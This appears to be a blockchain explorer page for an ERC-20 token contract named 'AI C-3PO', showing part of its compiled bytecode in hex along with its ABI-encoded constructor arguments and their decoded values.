01600160a01b031660009081526002602052604090206001908101805460ff1916909117905550565b6001600160a01b0382166000908152600260205260409020600101805460ff191690555b505050565b6001600160a01b0383166000908152600160205260408120546109b2908290610b4b565b6001600160a01b038516600090815260016020908152604080832093909355600290522054905061045b8482610802565b600060208083528351808285015260005b81811015610a10578581018301518582016040015282016109f4565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610a4857600080fd5b919050565b60008060408385031215610a6057600080fd5b610a6983610a31565b946020939093013593505050565b600080600060608486031215610a8c57600080fd5b610a9584610a31565b9250610aa360208501610a31565b9150604084013590509250925092565b600060208284031215610ac557600080fd5b61052182610a31565b60008060408385031215610ae157600080fd5b610aea83610a31565b9150610af860208401610a31565b90509250929050565b600181811c90821680610b1557607f821691505b60208210810361085f57634e487b7160e01b600052602260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b808201808211156102ba576102ba610b35565b818103818111156102ba576102ba610b3556fe4945524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e63654945524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220856bd510c3a538a12a26b6ff15dd7d56a6ca4df06699d4aa53d88c9ced092d2964736f6c63430008120033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000d230343730d003405194049a74c027ef841ff8b70000000000000000000000000000000000000000000000000000000f853ee1000000000000000000000000000000000000000000000000000000000000000008414920432d33504f00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000044333504f00000000000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : name_ (string): AI C-3PO
Arg [1] : symbol_ (string): C3PO
Arg [2] : user_ (address): 0xD230343730d003405194049A74c027ef841ff8B7
Arg [3] : totalSupply_ (uint256): 66660000000

-----Encoded View---------------
8 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000080
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000c0
Arg [2] : 000000000000000000000000d230343730d003405194049a74c027ef841ff8b7
Arg [3] : 0000000000000000000000000000000000000000000000000000000f853ee100
Arg [4] : 0000000000000000000000000000000000000000000000000000000000000008
Arg [5] : 414920432d33504f000000000000000000000000000000000000000000000000
Arg [6] : 0000000000000000000000000000000000000000000000000000000000000004
Arg [7] : 4333504f00000000000000000000000000000000000000000000000000000000


Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.